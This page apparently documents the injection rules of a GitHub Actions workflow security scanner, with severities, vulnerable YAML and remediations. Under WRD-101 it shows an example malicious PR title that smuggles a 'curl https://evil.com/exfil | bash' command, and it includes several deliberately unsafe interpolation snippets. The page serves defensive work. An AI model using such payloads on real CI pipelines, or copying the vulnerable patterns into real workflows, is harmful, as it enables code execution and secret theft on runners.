Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Injection Rules (100s)

Script injection occurs when untrusted data from github.event or other external sources is interpolated directly into run: steps, environment variables, or action inputs. An attacker who controls the injected value can execute arbitrary shell commands in the runner.


WRD-101: Expression Injection

Severity: Critical

What it detects: Direct interpolation of attacker-controlled github.event.* and github.head_ref expressions inside run: blocks using ${{ ... }} syntax. Covers a broad set of tainted sources including issue titles, PR bodies, comment bodies, commit messages, discussion content, and head ref.

Vulnerable:

- name: Print PR title
  run: echo "Title: ${{ github.event.pull_request.title }}"

An attacker opens a PR titled "; curl https://evil.com/exfil | bash; echo " to execute arbitrary commands.

Remediation: Assign the value to an environment variable and reference it in the shell. The runner sanitizes values passed through env:.

- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

WRD-110: Composite Action Input Injection

Severity: High

What it detects: ${{ inputs.* }} expressions interpolated in run: blocks of composite actions (action.yml / action.yaml). When the action is consumed with attacker-controlled values, this enables command injection.

Vulnerable:

# action.yml
name: My Action
runs:
  using: composite
  steps:
    - run: echo "Processing ${{ inputs.user_name }}"
      shell: bash

Remediation: Use an environment variable instead of direct interpolation.

- env:
    USER_NAME: ${{ inputs.user_name }}
  run: echo "Processing $USER_NAME"
  shell: bash

WRD-111: Dispatch Input Injection

Severity: High

What it detects: workflow_dispatch or repository_dispatch inputs interpolated directly in run: blocks. Dispatch inputs can be controlled by any user with push access.

Vulnerable:

on:
  workflow_dispatch:
    inputs:
      deploy_target:
        type: string
jobs:
  deploy:
    steps:
      - run: ./deploy.sh ${{ inputs.deploy_target }}

Remediation: Pass dispatch inputs through environment variables.

- env:
    TARGET: ${{ inputs.deploy_target }}
  run: ./deploy.sh "$TARGET"

WRD-112: GITHUB_ENV/PATH Injection

Severity: High

What it detects: Writes to $GITHUB_ENV or $GITHUB_PATH in run: blocks. If the written value originates from attacker-controlled input, subsequent steps can be hijacked via environment variable or PATH manipulation.

Vulnerable:

- run: echo "TARGET=${{ github.event.inputs.target }}" >> $GITHUB_ENV

An attacker can inject newlines to set arbitrary environment variables including PATH or LD_PRELOAD.

Remediation: Validate and sanitize before writing to GITHUB_ENV. Prefer step outputs with explicit typing.

- env:
    INPUT_TARGET: ${{ github.event.inputs.target }}
  run: |
    if [[ "$INPUT_TARGET" =~ ^[a-zA-Z0-9_-]+$ ]]; then
      echo "TARGET=$INPUT_TARGET" >> $GITHUB_ENV
    fi

WRD-113: Tainted Reusable Workflow Inputs

Severity: High

What it detects: Attacker-controlled values (github.head_ref, github.event.pull_request.title, issue/comment bodies, etc.) passed as inputs to reusable workflows. If the called workflow interpolates them unsafely in a run: block, command injection is possible.

Vulnerable:

jobs:
  lint:
    uses: my-org/shared/.github/workflows/lint.yml@main
    with:
      branch: ${{ github.head_ref }}

Remediation: Sanitize or validate the value before passing it. Ensure the called workflow uses environment variables instead of direct interpolation.


WRD-120: Step Output Injection

Severity: Medium

What it detects: steps.*.outputs.* expressions interpolated in run: blocks. Step outputs may carry attacker-controlled data if a prior step set the output from tainted input.

Vulnerable:

- id: get-input
  run: echo "value=${{ github.event.pull_request.title }}" >> $GITHUB_OUTPUT
- run: do-something ${{ steps.get-input.outputs.value }}

Remediation: Pass step outputs through environment variables. Validate or sanitize outputs before use.

- env:
    INPUT_VAL: ${{ steps.get-input.outputs.value }}
  run: do-something "$INPUT_VAL"